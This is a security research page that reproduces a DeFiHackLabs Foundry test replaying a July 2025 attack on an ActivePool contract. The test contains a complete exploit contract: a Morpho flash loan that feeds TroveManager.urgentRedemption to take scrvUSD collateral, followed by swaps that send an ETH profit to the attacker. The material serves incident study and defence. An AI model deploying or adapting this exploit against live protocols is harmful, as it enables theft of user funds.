Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.sol

Public reproduction file for dataset entry ActivePoolScrvUsd.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.sol199 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 4,204.55 USD
8// Attacker : 0x4cf8ed875e508c3acd60e56a1ca21395d106bc94
9// Attack Contract : 0x5f3697bb418a55e941d14f4def8d18be73d66309
10// Vulnerable Contract : 0xd7954a8c7fa74c97ad2545719ce82eae915d73f7
11// Attack Tx : https://etherscan.io/tx/0x0cf19b3f83f574c1911eb42457f22578359483dfef197f8906678bc0a76a740b
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xd7954a8c7fa74c97ad2545719ce82eae915d73f7#code
15//
16// @Analysis
17// Telegram Alert : https://t.me/defimon_alerts/1415
18//
19// Attack summary: the attacker flash-borrowed USDT, converted it into USDaf, and used
20// TroveManager.urgentRedemption to redeem selected undercollateralized troves for scrvUSD
21// collateral. The returned collateral was routed through Curve, Fluid, and Uniswap to repay
22// the flash loan and keep the WETH/ETH surplus.
23// Root cause: once the branch was shut down, public urgentRedemption let any USDaf holder
24// choose profitable troves and redeem their debt for ActivePool collateral with a bonus.
26address constant ATTACKER = 0x4cF8ED875E508c3Acd60E56A1ca21395D106bc94;
27address constant HISTORICAL_ATTACK_CONTRACT = 0x5F3697Bb418a55E941d14f4Def8d18Be73D66309;
28address constant MORPHO = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
29address constant USDT_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
30address constant CURVE_USDT_USDAF_LP = 0x4f493B7dE8aAC7d55F71853688b1F7C8F0243C85;
31address constant CURVE_USDAF_POOL = 0x95591348FE9718bE8bfa3afcC9b017D9Ec18A7fa;
32address constant TROVE_MANAGER = 0xa0290af48d2E43162A1a05Ab9d01a4ca3a8B60CB;
33address constant ACTIVE_POOL = 0xD7954A8c7FA74c97aD2545719cE82EAE915d73f7;
34address constant USDAF = 0x85E30b8b263bC64d94b827ed450F2EdFEE8579dA;
35address constant SCRVUSD = 0x0655977FEb2f289A4aB78af67BAB0d17aAb84367;
36address constant CURVE_SCRVUSD_SUSDE_POOL = 0xd29f8980852c2c76fC3f6E96a7Aa06E0BedCC1B1;
37address constant SUSDE = 0x9D39A5DE30e57443BfF2A8307A4256c8797A3497;
38address constant FLUID_DEX = 0x1DD125C32e4B5086c63CC13B3cA02C4A2a61Fa9b;
39address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
40address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
42uint256 constant FLASH_USDT_AMOUNT = 225_000_000_000;
43uint256 constant HISTORICAL_ETH_PROFIT = 1_669_775_970_301_739_864;
44uint256 constant HISTORICAL_SWAP_DEADLINE = 1_751_758_035;
46interface IMorphoFlashLoan1415 {
47 function flashLoan(address token, uint256 assets, bytes calldata data) external;
50interface IUSDT1415 {
51 function approve(address spender, uint256 amount) external;
54interface ICurvePool1415 {
55 function add_liquidity(uint256[] calldata amounts, uint256 minMintAmount) external returns (uint256);
56 function exchange(int128 i, int128 j, uint256 dx, uint256 minDy, address receiver) external returns (uint256);
59interface ITroveManager1415 {
60 function urgentRedemption(uint256 boldAmount, uint256[] calldata troveIds, uint256 minCollateral) external;
63interface IFluidDex1415 {
64 function swapIn(bool swap0to1, uint256 amountIn, uint256 amountOutMin, address to)
65 external
66 payable
67 returns (uint256 amountOut);
70interface IUniswapV3Router1415 {
71 struct ExactInputSingleParams {
72 address tokenIn;
73 address tokenOut;
74 uint24 fee;
75 address recipient;
76 uint256 deadline;
77 uint256 amountIn;
78 uint256 amountOutMinimum;
79 uint160 sqrtPriceLimitX96;
80 }
82 function exactInputSingle(
83 ExactInputSingleParams calldata params
84 ) external payable returns (uint256 amountOut);
87interface IWETH1415 {
88 function withdraw(
89 uint256 amount
90 ) external;
93contract ContractTest is BaseTestWithBalanceLog {
94 function setUp() public {
95 vm.createSelectFork("mainnet", 22_856_272);
96 vm.roll(22_856_273);
97 vm.warp(1_751_757_935);
99 fundingToken = address(0);
100 attacker = ATTACKER;
102 vm.label(ATTACKER, "Attacker");
103 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
104 vm.label(MORPHO, "Morpho flash lender");
105 vm.label(USDT_TOKEN, "USDT");
106 vm.label(CURVE_USDT_USDAF_LP, "Curve Strategic USD Reserves LP");
107 vm.label(CURVE_USDAF_POOL, "Curve USDaf pool");
108 vm.label(TROVE_MANAGER, "TroveManager");
109 vm.label(ACTIVE_POOL, "ActivePool");
110 vm.label(USDAF, "USDaf");
111 vm.label(SCRVUSD, "scrvUSD");
112 vm.label(CURVE_SCRVUSD_SUSDE_POOL, "Curve scrvUSD/sUSDe pool");
113 vm.label(SUSDE, "sUSDe");
114 vm.label(FLUID_DEX, "Fluid DEX");
115 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 router");
116 vm.label(WETH_TOKEN, "WETH");
117 }
119 function testExploit() public balanceLog {
120 uint256 attackerEthBefore = ATTACKER.balance;
122 ActivePoolScrvUsdUrgentRedemptionAttack template =
123 new ActivePoolScrvUsdUrgentRedemptionAttack(ATTACKER);
124 vm.etch(HISTORICAL_ATTACK_CONTRACT, address(template).code);
125 vm.deal(HISTORICAL_ATTACK_CONTRACT, 0);
127 vm.prank(ATTACKER);
128 ActivePoolScrvUsdUrgentRedemptionAttack(payable(HISTORICAL_ATTACK_CONTRACT)).execute();
130 assertEq(ATTACKER.balance - attackerEthBefore, HISTORICAL_ETH_PROFIT);
131 }
134contract ActivePoolScrvUsdUrgentRedemptionAttack {
135 address private immutable profitReceiver;
137 constructor(
138 address receiver
139 ) {
140 profitReceiver = receiver;
141 }
143 receive() external payable {}
145 function execute() external {
146 bytes memory data = abi.encode(UNISWAP_V3_ROUTER, WETH_TOKEN, USDAF);
147 IMorphoFlashLoan1415(MORPHO).flashLoan(USDT_TOKEN, FLASH_USDT_AMOUNT, data);
149 (bool ok,) = payable(profitReceiver).call{value: address(this).balance}("");
150 require(ok, "profit transfer failed");
151 }
153 function onMorphoFlashLoan(uint256 amount, bytes calldata) external {
154 require(msg.sender == MORPHO, "only Morpho");
155 require(amount == FLASH_USDT_AMOUNT, "amount");
157 IUSDT1415(USDT_TOKEN).approve(CURVE_USDT_USDAF_LP, amount);
158 uint256[] memory amounts = new uint256[](2);
159 amounts[0] = 0;
160 amounts[1] = amount;
161 uint256 curveLp = ICurvePool1415(CURVE_USDT_USDAF_LP).add_liquidity(amounts, 0);
163 IERC20(CURVE_USDT_USDAF_LP).approve(CURVE_USDAF_POOL, curveLp);
164 uint256 usdafAmount = ICurvePool1415(CURVE_USDAF_POOL).exchange(1, 0, curveLp, 0, address(this));
166 IERC20(USDAF).approve(TROVE_MANAGER, usdafAmount);
167 uint256[] memory troveIds = new uint256[](2);
168 troveIds[0] = 0xeab7e86e94580e41de568bacb5a45656789f530905fd9cbee859eecefef614ae;
169 troveIds[1] = 0xc951b81db2da0f1173c6978cda19ec40bef298d33f3888d2d8845ded3d44e560;
170 ITroveManager1415(TROVE_MANAGER).urgentRedemption(usdafAmount, troveIds, 0);
172 uint256 scrvUsdBalance = IERC20(SCRVUSD).balanceOf(address(this));
173 IERC20(SCRVUSD).approve(CURVE_SCRVUSD_SUSDE_POOL, scrvUsdBalance);
174 uint256 susdeAmount = ICurvePool1415(CURVE_SCRVUSD_SUSDE_POOL).exchange(0, 1, scrvUsdBalance, 0, address(this));
176 IERC20(SUSDE).approve(FLUID_DEX, susdeAmount);
177 IFluidDex1415(FLUID_DEX).swapIn(true, susdeAmount, 1, address(this));
179 uint256 usdtSurplus = IERC20(USDT_TOKEN).balanceOf(address(this)) - FLASH_USDT_AMOUNT;
180 IUSDT1415(USDT_TOKEN).approve(UNISWAP_V3_ROUTER, usdtSurplus);
181 IUniswapV3Router1415(UNISWAP_V3_ROUTER).exactInputSingle(
182 IUniswapV3Router1415.ExactInputSingleParams({
183 tokenIn: USDT_TOKEN,
184 tokenOut: WETH_TOKEN,
185 fee: 3000,
186 recipient: address(this),
187 deadline: HISTORICAL_SWAP_DEADLINE,
188 amountIn: usdtSurplus,
189 amountOutMinimum: 0,
190 sqrtPriceLimitX96: 0
191 })
192 );
194 uint256 wethBalance = IERC20(WETH_TOKEN).balanceOf(address(this));
195 IWETH1415(WETH_TOKEN).withdraw(wethBalance);
197 IUSDT1415(USDT_TOKEN).approve(MORPHO, FLASH_USDT_AMOUNT);
198 }

Analysis

Dataset entry

Public Foundry test for “ActivePoolScrvUsd” (2025-07-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4cf8ed875e508c3acd60e56a1ca21395d106bc94

  • Attack Contract

    0x5f3697bb418a55e941d14f4def8d18be73d66309

  • Vulnerable Contract

    0xd7954a8c7fa74c97ad2545719ce82eae915d73f7

  • Attack Tx

    0x0cf19b3f83f574c1911eb42457f22578359483dfef197f8906678bc0a76a740b

File record

Name
ActivePoolScrvUsd
Path
src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b05cace6f8f6fa4fb414c5b74a7dc6630a0a9c5e
Language
Solidity
Size
200 lines
Date
2025-07-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b05cace6f8f6fa4fb414c5b74a7dc6630a0a9c5e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.